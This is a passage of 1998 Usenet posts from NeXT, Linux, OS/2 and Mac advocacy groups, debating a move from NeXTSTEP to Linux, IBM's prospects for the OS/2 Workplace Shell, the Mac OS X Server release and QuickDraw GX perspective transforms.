and the point of my post is that I don't (much to my suprise).
I wish I had an X based GUI that gave me that degree of integration, but
I find I can work just fine without one... and I'm now able to use so
many more utilities because I'm working in a standard environment
instead of: a) a variant of an out of date OS (a variant of BSD 4.3), b)
a nice but unsupported GUI. I think overall my productivity has gone
_up_ since I switched away from Nextstep, not because Nextstep doesn't
enable productivity better than X based GUI's, but because Nextstep
doesn't support enough of the utilities I use in my job.
Really, you two don't need to preach to me about how great Services are,
and how the fact that in many cases they just shave off a few seconds
and gestures really does add up to more overall productivity.. I'm just
saying that in the tradeoff between a useable* environment and a
useful** environment, useful seems to be winning. The fact that in the
long run the _luxury_ of Services adds up to be more productive when the
same sets of tools are available on both platforms doesn't matter if the
_necessary_ tools aren't available on the platform that has Services.
(* meaning the human-factors/UI design term)
(** meaning having the tools to get the job done present)
Now, yes, I could have used one of the various X environments for
nextstep.. in fact, I did -- I have Cub'X sitting on my shelf right
here. But in the same way that the difference between a service taking
1 second to invoke and lookup webster vs cut and paste taking 10 seconds
to invoke www.m-w.com makes a world of difference in whether or not
you'd ever look up words online (as Scott was asserting for himself),
the lengthy process of starting X, setting up xhosting, and then
remotely displaying Clarify or somesuch across a network was awkward and
annoying -- I found myself more often trying to get around X
requirements than using them. And, in a sense, if I had ever embraced
it instead of trying to work around it, that would have eventually
rendered my box to be just a glorified X terminal -- and I don't like X
terminals.
Now that I run Solaris, I don't worry about it.
If MacOS X Server works out, it may have meant that my environment was
not heading into stagnation and obsolecense.. if I had a PPC box. But I
don't, I have a Sparc. Even if I had a PC, (like I do at home) it would
have merely been putting off the same fate for another release cycle. I
don't find that to be an interesting future.. and frankly, even if I had
a PPC box, given the credibility factor Apple has had with respect to
the NeXT community, I still doubt I'd have waited for Mac OS X Server.
I considered Gil Amelio's vision for Rhapsody to be worth waiting for.
I don't consider Steve Job's vision for Mac OS X (server nor consumer)
to be worth waiting for. I'd rather suffer with freedom under Linux
than bask in the heavy handed mercy of Steve's fickle vision. Having
been bitten by being at Steve's mercy a few too many times, I'm no
longer willing to trust his vision no matter how compelling it may be.
At this point in my life, I view the difference between Jobs and Gates
to be that a) when Steve does put out a product, you can expect it to be
a better product than what Gates puts out, and b) when Gates puts out a
product, you can expect him to stick by it for its full lifetime instead
of canning it and undermining it everytime the wind changes direction.
Other than that, they have all the same evils.
Linux has its own set of evils, but when it comes down to it, _my_ Linux
will never go in a direction I don't want it to, and I will never again
be at the mercy of someone else when figuring out what the future of my
desktop will be. Solaris isn't free, but it is at least standard.
Those two are worth an awful lot of extra gestures and seconds when
getting my work done.
--
John "kzin" Rudd jrudd@cygnus.com http://www.cygnus.com/~jrudd
-----======Intel: Putting the backward in backward compatible======-----
Kein Mitleid Fu:r MicroSoft (no mercy for microsoft) -- www.kmfms.com
Newsgroups: comp.sys.next.advocacy,comp.os.linux.advocacy,comp.sys.mac.advocacy
Subject: Re: Switch nextstep -> linux ?
References: <uFk42.5443$dB4.136204@carnaval.risq.qc.ca> <3651E28F.90C2A84A@inch.com> <3651F9C8.F5ADA57E@cygnus.com> <SCOTT.98Nov30210140@slave.doubleu.com> <740rkt$c32$1@nnrp1.dejanews.com>
From: richard@brainstorm.co.uk. (Richard Frith-Macdonald)
Message-ID: <36646c50.0@nnrp1.news.uk.psi.net>
Date: 1 Dec 98 22:23:12 GMT
spagiola@my-dejanews.com wrote:
>scott@nospam.doubleu.com (Scott Hess) wrote:
>> Services are, unfortunately, one of those wildly useful features that
>> nobody knows they miss...
>
>Agreed. And like many things in NeXTSTEP, they're one of those things that's
>almost impossible to describe the advantages of. Like the poster you were
>responding to, everyone thinks "well, I can do that already by just switching
>apps and pasting". It's one of those things you have to use to see just how
>useful it is. Of course, if Apple continues to keep MOSX hidden away in a
>cellar somewhere, it's hard for people to do so.
Of course they could write themselves GNUstep apps and get services that way.
From: Mark Woodward <markw@mohawksoft.com>
Newsgroups: comp.os.os2.advocacy,comp.os.linux.advocacy,comp.sys.next.advocacy
Subject: Re: OS/2 and failure
Date: Tue, 01 Dec 1998 23:19:40 -0500
Organization: Mohawk Software
Message-ID: <3664BFDC.53AB7A8C@mohawksoft.com>
References: <365D8F89.87AF75E7@csi.com> <366067bb$1$rfgure$mr2ice@news.primenet.com> <8AB0DB974C012F47.3E699E1BE6D10974.D3D210F886594A99@library-proxy.airnews.net> <slrn767pnv.8vk.possum@ss5.fred.net> <3665f04b.569033@news-server> <3664116B.8EF3ED09@mohawksoft.com> <7424m0$cof$2@denws02.mw.mediaone.net>
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>
> In article <3664116B.8EF3ED09@mohawksoft.com>, Mark Woodward <markw@mohawksoft.com> wrote:
> >Steven C. Den Beste wrote:
> >> On Tue, 01 Dec 1998 12:54:24 GMT, Mike Trettel graced us with this wisdom:
> >> There's also this: What incentive does IBM have for doing this? Every time
> >> How would releasing the WPS source benefit IBM? How would it increase their
> >This is the easiest question, why should IBM port WPS to Linux? Many
> >many reasons:
>
> Not quite that simple . . .
>
> >Give the OS/2 users an upgrade path.
>
> A WPS on Linux does _not_ give OS/2 users an upgrade path because that does
> nothing for the underlying OS/2 API's that most programs are written to. The
> WPS is only a small part of OS/2.
having a WPS on Linux is better than not.
>
> >Work out a lot of OS/2 to Linux issues and issue an IBM Linux with WPS.
> >(Which would be Soooo cool)
>
> While I would climb mountains for a WPS on Linux or NT, there are a host of
> issues to overcome w/regards to matters other than just providing it.
>
> >The prospect of an IBM Linux would be very cool, it could allow IBM to
> >sell into the high volume x86 market without Windows NT.
>
> Cool doesn't matter. How does this fit into IBM's providing of solutions and
> their plans for network computing?
This fits right into their strategy. Linux is the right high volume x86
solution/companion with AIX.
>
> If anything, based on their current strategy, a Java-based WPS would be their
> target for deployment on everything from NC's to an interface to AS/400's and
> mainframes.
No way would Java be a good idea.
>
> >It would make a great companion to AIX.
>
> And IBM would want a free "companion" to AIX because? AIX sells hardware and
> the software. Take out the base of the software end (AIX) and consider someone
> other than IBM for the hardware (just about any x86 vendor) and IBM is
> suddenly back to only having the chance to sell a Linux-solution based on
> another product. So, we're back to square one. :-)
This is a mater to be taken up with marketing. Both high end and low end
have advatages. A good low end to high end coverage is almost always a
good thing.
--
Mohawk Software
Expert Solutions Now! Windows 95, Windows NT, UNIX,
Linux. Applications, drivers, support.
Visit the Mohawk Software website: www.mohawksoft.com
From: malcolm@plsys.co.uk
Newsgroups: comp.sys.next.software,comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Rhapsody release??
Date: Wed, 02 Dec 1998 01:36:01 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <7425i1$hc1$1@nnrp1.dejanews.com>
References: <741ges$vhl$1@coranto.ucs.mun.ca> <741tva$atr$1@nnrp1.dejanews.com>
In article <741tva$atr$1@nnrp1.dejanews.com>,
spagiola@my-dejanews.com wrote:
> Apple has said absolutely nothing, except that when a "MacOS X Server
> is cancelled" rumor came up about a month ago, they eventually said
> that no, it wasn't cancelled and was expected to ship this year.
>
Hmm, would you mind if were really picky and took issue with "eventually". I
presume you're referring to Don Crabb's article? If so, he was told in no
uncertain terms that his article was in error within a very short space of
time. I contacted folks in Apple about it at the time, and within a few
hours had a copy of a message which had been sent to Don which repudiated his
article clearly. Why it took a further three days for Don to finally admit
that he was in error is something of a mystery. Cf also the related Stepwise
article -- http://www.stepwise.com/Articles/Editorial/Resort.html
> Current conventional wisdom is that it probably will be
> released at Macworld SF in early January, but that doesn't seem to be
> based on any solid information.
>
The WebObjects 4 announcement put the release date in 1999; MWSF would seem
like the most sensible date early in the year.
Best wishes,
mmalc.
-----------== Posted via Deja News, The Discussion Network ==----------
http://www.dejanews.com/ Search, Read, Discuss, or Start Your Own
From: chance@avalanche.globeset.com (Chance Harris)
Newsgroups: comp.os.os2.advocacy,comp.os.linux.advocacy,comp.sys.next.advocacy
Subject: Re: OS/2 and failure
Followup-To: comp.os.os2.advocacy,comp.os.linux.advocacy,comp.sys.next.advocacy
Date: 1 Dec 1998 22:17:11 GMT
Organization: GlobeSet, Inc.
Message-ID: <741pt7$vn$1@news.globeset.com>
References: <365D8F89.87AF75E7@csi.com> <366067bb$1$rfgure$mr2ice@news.primenet.com> <8AB0DB974C012F47.3E699E1BE6D10974.D3D210F886594A99@library-proxy.airnews.net> <slrn767pnv.8vk.possum@ss5.fred.net> <3665f04b.569033@news-server> <Pine.SGI.3.93.981201115009.16016A-100000@sea.monterey.edu> <741lra$n3v$1@your.mother.com>
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Todd Heberlein (todd at NetSQ dot com) (todd@dev.null) wrote:
: josco wrote in message ...
: >Network effects.
: >
: >A company's technology and expertise becomes more valuable as
: > more users adopt its technology.
: >
: >It's a variant of Metcalf's law. It is also a point of debate in the
: > MS vs US anti-trust lawsuit.
: I suspect that economists may have been familiar with "network effects"
: before Bob Metcalf. A "network" doesn't necessarily mean a computer
: network, but it is easy to see there. For example, the telephone
: network early this century; and the train track network (with standard
: track sizes) the century before.
: Bob Metcalf's law goes something like, "The value of a network grows
: exponentially with the number of users on the network." Anyone have the
: exact wording?
Never heard of the law. Don't know the exact wording, but I'd
guess that "the value of the network grows quadratically" is
closer to true.
From: cbbrowne@news.hex.net (Christopher Browne)
Newsgroups: comp.os.os2.advocacy,comp.os.linux.advocacy,comp.sys.next.advocacy
Subject: Re: OS/2 and failure
Date: 2 Dec 1998 03:10:10 GMT
Organization: Hex.Net Superhighway, DFW Metroplex 817-329-3182
Message-ID: <742b2i$aoj$6@blue.hex.net>
References: <365D8F89.87AF75E7@csi.com> <366067bb$1$rfgure$mr2ice@news.primenet.com> <8AB0DB974C012F47.3E699E1BE6D10974.D3D210F886594A99@library-proxy.airnews.net> <slrn767pnv.8vk.possum@ss5.fred.net> <3665f04b.569033@news-server> <slrn7686ls.9s3.possum@ss5.fred.net>
NNTP-Posting-Date: 2 Dec 1998 03:10:10 GMT
On Tue, 01 Dec 1998 16:35:09 GMT, Mike Trettel <possum@tree.branch> wrote:
>On Tue, 01 Dec 1998 05:35:58 -0800, Steven C. Den Beste
<sdenbes1@san.rr.com>
>wrote:
>>There's also this: What incentive does IBM have for doing this? Every time
>>this comes up people come up with all sorts of reasons why *they* wish IBM
>>would do it, but no-one can come up with a plausible motive for *IBM* to do
>>this.
>>
>>How would releasing the WPS source benefit IBM? How would it increase their
>>profit? Since your hope is to port it to Linux, all that does is increase
>>the competitive pressure on OS/2 and cause profits to decline. How is that a
>>good thing for IBM?
>>
>Good questions. A couple of reasons why IBM might do so are:
>
>A) Provide an upgrade/escape path for longtime OS/2 users. This plausibly
>helps IBM by getting the SOHO users off IBM's back.
Is IBM actually doing anything substantive *right now* for SOHO users?
I can't see this being of any significance to IBM one way or another.
Q1: Are the SOHO users costing IBM very much in actual costs for
support?
Probable A1: If IBM has not been providing much support, then likely
not.
Q2: Would there be potential new revenues from SOHO users out of this?
A2: I think not.
Q3: Would it not be easier to simply start charging $50/hour for
telephone support, and thereby turn what few SOHO users remain into at
least a bit of a profit centre? (This brings to mind the "Psychic
Network versus MS Telephone Support" story :-).)
A3: And those few that are left, that need support, and feel that
pricing outrageous, will likely head elsewhere...
In short, this is neither likely to save IBM $50M, nor is this likely to
make them $50M.
>B) Provides a solution and/or and also possibly provides them with support
>contracts for large corporate types who want an "easy" Linux.
If they give away WPS, this allows them to get support contracts worth
tens of millions of dollars. This doesn't compute.
If they *sell* a "WPS for Linux," this might get them some support
contracts, as well as some sales. And if they give it away, Red Hat
includes WPS for Linux with their distribution, and the whole world has
the opportunity to support it. Which doesn't engender anyone loading up
trucks full of money and driving to IBM's accounts receivable
department.
>C) Builds goodwill amongst the Linux and/or FreeBSD community. This is not
>as ridiculous as it sounds.
It's not ridiculous, but does giving away WPS *really* provide
substantial value? My suspicion is that it does not, but would only
result in adding in Yet Another Application Framework to go along with:
- Motif
- OpenStep/GNUStep
- Qt
- GNOME
- KDE
- GTK
- Tk
- ...
The applications world is unlikely to be revolutionized by adding WPS to
tag along on this list. WPS offers things that the others don't, but
the converse is also true. Having WPS doesn't necessarily mean that
there will be a Linux port of DeScribe, or Lotus Improv, or of any other
former OS/2 software. (I must confess not being up to date on what OS/2
software is considered "ground-breaking.")
The value, as I see it, in having WPS would be if this allowed the
reclaiming of the host of previously "obsolescent" OS/2 software. (Much
as GNUStep offers the possibility of deploying NeXTStep and Rhapsody
software on Linux, and Atari ST emulators allowed deploying Atari
software atop W95/UNIX.)
It would be particularly valuable if it allowed IBM to thereby deploy a
bunch of IBM software on Linux. Unfortunately, the OS/2 software, while
pretty cool stuff five years ago, can't have seen much attention since
then.
Unfortunately, I don't think this is terribly likely to represent a
market worth going after.
- A port of Lotus Notes to Linux would be fairly worthwhile; how OS/2
fits into that picture is questionable.
- The last directions I heard for OS/2 were as a "network computing"
platform where Java could be hosted natively. WPS doesn't really fit
into this, and IBM's "Jikes" and other Java efforts for Linux are more
critical to where their business is going.
- There is already rumor of IBM/Lotus porting SmartSuite to Linux.
Porting WPS might make this easier (although WINE might be more critical
to this endeavor; I doubt that Lotus has been concentrating real hard on
OS/2 for a while...), but I doubt that this would be of crucial value
worth releasing WPS code.
--
"Whenever you find that you are on the side of the majority, it is time
to reform." -- Mark Twain
cbbrowne@hex.net- <http://www.ntlug.org/~cbbrowne/lsf.html>
Newsgroups: comp.os.linux.advocacy,comp.os.os2.advocacy,comp.sys.next.advocacy
From: "Mike Trettel" <possum@tree.branch>
Message-ID: <gerggryserqarg.f3debf0.pminews@news.fred.net>
References: <365D8F89.87AF75E7@csi.com> <366067bb$1$rfgure$mr2ice@news.primenet.com> <8AB0DB974C012F47.3E699E1BE6D10974.D3D210F886594A99@library-proxy.airnews.net> <366426f3$1$rfgure$mr2ice@news.primenet.com> <slrn768pcr.c3m.possum@ss5.fred.net> <36647e6e$2$rfgure$mr2ice@news.primenet.com>
Organization: Twinco
MIME-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit
Subject: Re: Should OS/2 be open source? (Was: OS/2 and failure)
Date: Wed, 02 Dec 1998 22:42:51 -0500 (EST)
NNTP-Posting-Date: Tue, 01 Dec 1998 22:45:17 EDT
On Tue, 01 Dec 1998 16:36:58 -0700, esther@bitranch.com wrote:
> possum@tree.branch (Mike Trettel) said:
>|Esther, is there a URL for the above? I would love to read your
>|reasoning on this matter.
>
>You can read a subset of _extended attributes_ articles at
>http://www.possi.org (as well as sign up for a sample issue of the
>magazine), but we're intentionally slow about putting our print content
>online. Members pay the expenses of mailing out the print magazine, after
>all, so it behooves us to service them first. (Plus, Mom taught me, "Why
>should they buy the cow when the milk is free?" though in an entirely
>different context. <eyes twinkling>)
>
>So the short answer is: No, there isn't a URL for the above article... not
>yet.
>
>--Esther Schindler
>
OK, fair enough. I can't complain about that logic.
===========
Mike Trettel trettel (Shift 2) fred (dinky little round thing) net
Skep-Ti-Cult # 157-894589-983 ICQ # 15339850
I don't buy from spammers. No exceptions. Fix the reply line to mail me.
From: cbbrowne@news.hex.net (Christopher Browne)
Newsgroups: comp.sys.next.advocacy,comp.os.linux.advocacy,comp.sys.mac.advocacy
Subject: Re: Switch nextstep -> linux ?
Date: 2 Dec 1998 03:09:58 GMT
Organization: Hex.Net Superhighway, DFW Metroplex 817-329-3182
Message-ID: <742b26$aoj$5@blue.hex.net>
References: <uFk42.5443$dB4.136204@carnaval.risq.qc.ca> <3651E28F.90C2A84A@inch.com> <3651F9C8.F5ADA57E@cygnus.com> <SCOTT.98Nov30210140@slave.doubleu.com> <740rkt$c32$1@nnrp1.dejanews.com>
NNTP-Posting-Date: 2 Dec 1998 03:09:58 GMT
On Tue, 01 Dec 1998 13:40:48 GMT, spagiola@my-dejanews.com
<spagiola@my-dejanews.com> wrote:
>scott@nospam.doubleu.com (Scott Hess) wrote:
>> Services are, unfortunately, one of those wildly useful features that
>> nobody knows they miss...
>
>Agreed. And like many things in NeXTSTEP, they're one of those things that's
>almost impossible to describe the advantages of. Like the poster you were
>responding to, everyone thinks "well, I can do that already by just switching
>apps and pasting". It's one of those things you have to use to see just how
>useful it is. Of course, if Apple continues to keep MOSX hidden away in a
>cellar somewhere, it's hard for people to do so.
Sounds to me a whole lot like the vi thing of doing:
:.,$!fmt
<ducking quickly as people assortedly retch or reach for
flamethrowers...>
--
"Who is General Failure and why is he reading my hard disk ?"
-- leitner@inf.fu-berlin.de, Felix von Leitner
cbbrowne@hex.net- <http://www.ntlug.org/~cbbrowne/lsf.html>
From: gupta@knim.tm.tta.moc-mirror after @
Newsgroups: comp.os.linux.advocacy,misc.int-property,comp.sys.next.advocacy
Subject: Re: YIKES! "The effect of patents and copyright in combatting Linux...."
Date: 2 Dec 1998 04:02:52 GMT
Organization: IMEMYSELF
Sender: Arun Gupta
Message-ID: <742e5c$d8l@newsb.netnews.att.com>
References: <36426F6E.2AED1A73@cygnus.com> <7243tf$4a5@magus.cs.utah.edu> <slrn764cuj.o6h.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu> <36644C17.C5315485@ericsson.com>
Originator: gupta@tlctest
Michael Peck <michael.peck@ericsson.com> wrote:
>[snip]
>These people, for distrusting the government, for attempting to return
>power to people and the states who represent them, lack integrity. Of
Last I heard, the states were also run by governments, that are just
as lame-brained as the Federal one.
>course. This, apparently, is what passes for reasoned thought in San
>Diego.
And elsewhere.
>Doesn't surprise me.
Me neither.
-arun gupta
Subject: Re: Let's play a game (was Re: A problem with QuickTime Vectors
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
References: <3664293D.3D8A7E56@trilithon.com> <B289F4B4-5217@206.165.43.182>
In-Reply-To: <B289F4B4-5217@206.165.43.182>
From: kcd@babylon5.jumpgate.com (Kenneth C. Dyke)
Date: 02 Dec 1998 04:56:57 GMT
Message-ID: <3664c899$0$225@nntp1.ba.best.com>
On 12/01/98, "Lawson English" wrote:
>
>When one talks about a perspective projection onto a viewing plane,
>this is a 3D operation, by definition. The fact that the symbols '3' &
>'D' don't appear is irrelevant. Perspective is NOT a 2D graphics
>operation, but a 3D one, even if it is only operating on a 2D object.
How you can call taking 2D data, running it through a matrix, and
getting 2D data back out a 3D operation is beyond me, Lawson. But by
your logic, I could argue that GX is in fact capable of doing 3D
perspective on 4D data too, since I'd just be doing 4D projections with
two implicit coordinate values of 0, right? Of course, my original
data would still only have two dimensions.
The simple fact of the matter is that no one in their right mind would
use GX for any serious 3D work, because it won't do proper 3D
rendering, as Mike Paquette pointed out. QuickDraw GX is not a 3D
rendering system. The fact that it can appear to apply a pseudo-3D
effect to 2D data, and only for extremely limited sets of data at that,
is completely besides the point.
>You are so hung up on my "true 3D" assertion that you are missing the
>very important point that mathematically, there is no difference
>between the 3x3 perspective transform and the higher-order matrix
>transforms WHERE THEIR INITIAL CONDITIONS AND CONSTRAINTS OVERLAP.
Yeah, so? It's still just two dimensional data, no matter how many
imaginary extra dimensions you'd like to add to it.
>As to the rest of your challenges: they are immaterial.
>
>I never claimed that the GX perspective matrix could do any such
>things. The QuickTime and GX matrix allows one to apply a 3D
>perspective to a 2D object that is initially perpendicular to the
>camera and nothing more. With a lot of external calculations, one can
>simulate changing the orientation of the camera and so on, but I
>dont' know how good this looks because the CameraLibrary that comes
>with GX is completely undocumented.
This seems typical of you, Lawson. You rant and rant and rant about
how great something is, but then later admit that you've never actually
used it yourself, and also admit that doing such would be quite complex
and that the only code that shows how to do it is completely
undocumented.
And you *wonder* why GX doesn't get more adoption from developers?
>It is *insane* not to provide backwards compatible support for GX in
>the eQD/YB graphics system because at this point, EVERY Macintosh can
>use GX, and NONE can use eQD and YB. 5 years from now, there will
>STILL be Quadras sitting in some school that can use GX
And five years from now there will probably STILL not be any big
selling applications that use GX. I think you seem to think that
every single Macintosh system in use these days is using GX on a
regular basis. I suspect that this is not the case. In fact, I'd be
willing to bet that it's not even *CLOSE* to being the case.
>, but they won't be able to talk to MacOS xx systems, graphics-wise,
>except via the primitive PICT format or the non-native EPS/PS format.
Or perhaps PDF, which would probably be considerably easier to deal
with since you wouldn't need a full blown PostScript interpreter.
>I can't imagine that I am the only one who sees this as useful, and in
>fact, every DTP person who has ever used HyperCard or examined the
>color capabiltiies of GX, WILL see it as useful, because by
>definition, such people CAN use GXFCN (a HyperTalk scripting external
>of GX's API that will run on nearly all color Macintoshes with enough
>RAM and a copy of HyperCard).
....due out any *year* now.
-Ken
--
Kenneth Dyke, kcd@jumpgate.com (personal), kdyke@ea.com (work)
Software Engineer, Jane's Combat Simulations, Electronic Arts
C++: The power, elegance and simplicity of a hand grenade.
From: sal@panix.com (Sal Denaro)
Newsgroups: comp.sys.next.advocacy
Subject: Re: New date for OS X Server?
Date: 2 Dec 1998 03:54:38 GMT
Organization: PANIX Public Access Internet and Unix, NYC
Message-ID: <742dlu$r5f@news1.panix.com>
References: <01be1188$01ce14e0$06387880@chewy> <whaddock-1711981824460001@digital-03-213.hou.neosoft.com> <72tfuq$oj0@shelob.afs.com> <ZIt42.1609$rY3.5423920@news.rdc1.sdca.home.com> <01be1317$dca3f220$06387880@chewy> <731j16$6r4$1@ash.prod.itd.earthlink.net> <%G%42.2862$rY3.6449682@news.rdc1.sdca.home.com> <732c5r$bim$1@nnrp1.dejanews.com> <732qrv$ae5@news1.panix.com> <733up8$l4h$1@nnrp1.dejanews.com> <739lhb$g1r@news1.panix.com> <SCOTT.98Nov30212634@slave.doubleu.com>
On 30 Nov 98 21:26:34, Scott Hess <scott@nospam.doubleu.com> wrote:
>> What does NT _server_ sell for? What does Netware _server_ sell
>> for? What does AppleShare _server_ sell for?
>NT Server is called that because it's intended for serving networks.
>Netware is a server because it's intended to _be_ the network (in some
>senses). MacOS X Server is called "Server" because it's too far
>advanced to be lumped in with MacOS 8.x.
Scott, with all due respect; I think you are missing something that
Apple has stated (from pretty much day one). Apple made it known that
it expected Rhapsody CR1 to be primarily used for servers/developers
and some early adopters. They changed the name to OSX _server_ to
further illustrate this.
I am not aware of ANYTHING Apple has EVER stated that would lead
anyone to think that Apple ever expected CR1 to be used as a
mainstream OS; or that it ever planned to sell it as a mainstream OS;
or that it ever planned to market it as a mainstream OS.
The major change between the CR1/Unity plan and the OSX Server/OSX
plan (besides the drifting timetables) is the replacement of Latitude
with Carbon as the tool for helping Mac ISVs port Apps to run native
on the first release of the mainstream version of the OS.
<<CLIP>>
>> I am waiting to see _how_ they plan to sell it and market it before
>> I say anything about it being a success or a failure.
>:-). My guess is that we're already seeing how they plan to sell and
>market it.
I would think an :( might be more apropos (sp?) if this is the best plan
they have.
Well, I'll be at the WO4 Demo on the 17th in NYC. If it looks well enough,
I just might sign up for WO classes and start fishing for contract work.
From: malcolm@plsys.co.uk
Newsgroups: comp.sys.next.advocacy
Subject: Re: New date for OS X Server?
Date: Wed, 02 Dec 1998 00:50:13 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <7422s5$f9c$1@nnrp1.dejanews.com>
References: <01be1188$01ce14e0$06387880@chewy> <01be1317$dca3f220$06387880@chewy> <731j16$6r4$1@ash.prod.itd.earthlink.net> <%G%42.2862$rY3.6449682@news.rdc1.sdca.home.com> <732c5r$bim$1@nnrp1.dejanews.com> <732qrv$ae5@news1.panix.com> <733up8$l4h$1@nnrp1.dejanews.com> <739lhb$g1r@news1.panix.com> <73btsl$nb2$1@nnrp1.dejanews.com> <73djku$itc@news1.panix.com> <73efr0$n4o$1@nnrp1.dejanews.com> <73g21j$bd0@news1.panix.com> <73g41e$3bf$1@your.mother.com> <73ie0r$35j@news1.panix.com> <365cd784.0@news.depaul.edu> <73pg4s$49l@news1.panix.com> <73u9pa$79n$1@nnrp1.dejanews.com> <7401vq$5s8@news1.panix.com>
In article <7401vq$5s8@news1.panix.com>,
> On the other hand, if say, Mesa grabbed 10% of the Mac Excel installed
> base from Microsoft; you would probably need a blow torch to remove the
> smile from Mmalc's face...
>
Heck, just 1% and you'd need a heavy-duty chisel!
Best wishes,
mmalc.
-----------== Posted via Deja News, The Discussion Network ==----------
http://www.dejanews.com/ Search, Read, Discuss, or Start Your Own
From: "bobsun" <bobsun@worldnet.att.net>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: nice essay - a billion desktops
Date: 2 Dec 1998 07:19:58 GMT
Organization: AT&T WorldNet Services
Message-ID: <742pmu$h05@bgtnsc01.worldnet.att.net>
References: <72s6bh$dfl$1@nnrp03.primenet.com> <73de05$cio@bgtnsc01.worldnet.att.net> <73eiig$ahm@newsb.netnews.att.com> <73mk0g$ht5@bgtnsc02.worldnet.att.net> <73ujep$dhb@newsb.netnews.att.com>
gupta@knim.tm.tta.moc-mirror after @ wrote in message
<73ujep$dhb@newsb.netnews.att.com>...
>bobsun <bobsun@worldnet.att.net> wrote:
>
(snip)
> There should be no competitive disadvantage except that which Apple
> imposes on itself.
An epitaph for a gravestone??
(snip)
> arun gupta
bobsun
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Let's play a game (was Re: A problem with QuickTime Vectors
Date: 2 Dec 98 00:23:55 -0700
Organization: Frontier GlobalCenter Inc.
Message-ID: <B28A391E-BB4CA@206.165.43.154>
References: <3664c899$0$225@nntp1.ba.best.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
nntp://news.primenet.com/comp.sys.next.advocacy
Kenneth C. Dyke <kcd@babylon5.jumpgate.com> said:
>And five years from now there will probably STILL not be any big
>selling applications that use GX. I think you seem to think that
>every single Macintosh system in use these days is using GX on a
>regular basis. I suspect that this is not the case. In fact, I'd be
>willing to bet that it's not even *CLOSE* to being the case.
Actually, if an end-user installs GX for any reason, they are ALWAYS using
GX -not only is the print system changed, but the font-rasterizer is also.
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
<http://www.pcsincnet.com/petition.html>
----------------------------------------------------------------------
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: Let's play a game (was Re: A problem with QuickTime Vectors
Date: 2 Dec 98 00:43:38 -0700
Organization: Frontier GlobalCenter Inc.
Message-ID: <B28A3E25-CE356@206.165.43.154>
References: <3664c899$0$225@nntp1.ba.best.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
nntp://news.primenet.com/comp.sys.next.advocacy,
nntp://news.primenet.com/comp.sys.mac.programmer.misc
[csmp.misc added back in]
Kenneth C. Dyke <kcd@babylon5.jumpgate.com> said:
>On 12/01/98, "Lawson English" wrote:
>>
>>When one talks about a perspective projection onto a viewing plane,
>>this is a 3D operation, by definition. The fact that the symbols '3' &
>>'D' don't appear is irrelevant. Perspective is NOT a 2D graphics
>>operation, but a 3D one, even if it is only operating on a 2D object.
>
>How you can call taking 2D data, running it through a matrix, and
>getting 2D data back out a 3D operation is beyond me, Lawson. But by
>your logic, I could argue that GX is in fact capable of doing 3D
>perspective on 4D data too, since I'd just be doing 4D projections with
>two implicit coordinate values of 0, right? Of course, my original
>data would still only have two dimensions.
Er, any time you apply 3D operations to ANY graphic, all you are getting
out is 2D data, unless you are using some bleeding-edge holographic
graphics system. All I ever claimed is that GX has a 3x3 perspective
transform which is useful for allowing the *editing* of text and graphics
after a perspective has been applied. It is YOU people that keep on raising
the rather ludicrous strawman that I'm claiming that GX is a 3D graphics
engine.
>
>The simple fact of the matter is that no one in their right mind would
>use GX for any serious 3D work, because it won't do proper 3D
>rendering, as Mike Paquette pointed out. QuickDraw GX is not a 3D
>rendering system. The fact that it can appear to apply a pseudo-3D
>effect to 2D data, and only for extremely limited sets of data at that,
>is completely besides the point.
The simple fact is that I never said that GX was suitable for "serious 3D
work," but only useful for applying a 3D perspective to editable text and
graphics.
And ANY graphic that GX can produce can have the 3D perspective transform
applied to it, so I'm not sure what your point is in talking about "limited
sets of data."
>
>>You are so hung up on my "true 3D" assertion that you are missing the
>>very important point that mathematically, there is no difference
>>between the 3x3 perspective transform and the higher-order matrix
>>transforms WHERE THEIR INITIAL CONDITIONS AND CONSTRAINTS OVERLAP.
>
>Yeah, so? It's still just two dimensional data, no matter how many
>imaginary extra dimensions you'd like to add to it.
>
Yeah, so? It appears exactly the same to the end-user, no matter how many
extra dimensions are missing from the data. Why do I need to have depth for
a 2D graphic in 2D DTP applications? Perspective is useful, but depth?
>>As to the rest of your challenges: they are immaterial.
>>
>>I never claimed that the GX perspective matrix could do any such
>>things. The QuickTime and GX matrix allows one to apply a 3D
>>perspective to a 2D object that is initially perpendicular to the
>>camera and nothing more. With a lot of external calculations, one can
>>simulate changing the orientation of the camera and so on, but I
>>dont' know how good this looks because the CameraLibrary that comes
>>with GX is completely undocumented.
>
>This seems typical of you, Lawson. You rant and rant and rant about
>how great something is, but then later admit that you've never actually
>used it yourself, and also admit that doing such would be quite complex
>and that the only code that shows how to do it is completely
>undocumented.
This is typical of many people who enjoy attacking me for no good reason.
The CameraLIbrary that comes with GX is explicitly for changing the camera
position, fulstrom, etc. I never claimed any first-hand knowledge of how
well this EXTRA library performs. The 3D perspective transform of GX is
built-in, on the other hand, and THAT is what I have been extolling the
virtues of.
GX can apply a 3D perspective to standard text and then allow someone to
edit it, WHILE they are viewing the perspectiv-ized text.
PDF/eQD/YB graphics don't allow this, last I heard. If Mike Paquette's
not-quite-mentioned 3D graphics engine allows this, wonderful. However,
unless Apple allows GX to continue into the far-flung future, no owner of
an older Mac can hope to see ANY new graphics/WP apps using it, which is
sad. All new graphics apps will be using the more robust engine that Mike P
hints at, and there will be no way of transfering graphics data between
older Macs and the latest, save via the PICT format, which is hardly as
capable as the GX format.
And unless Apple provides the GX transfer modes within the native graphics
system of MacOS X, there will be no direct sharing of QT vectors either.
What is wrong with you people taht you can't see the potential of having
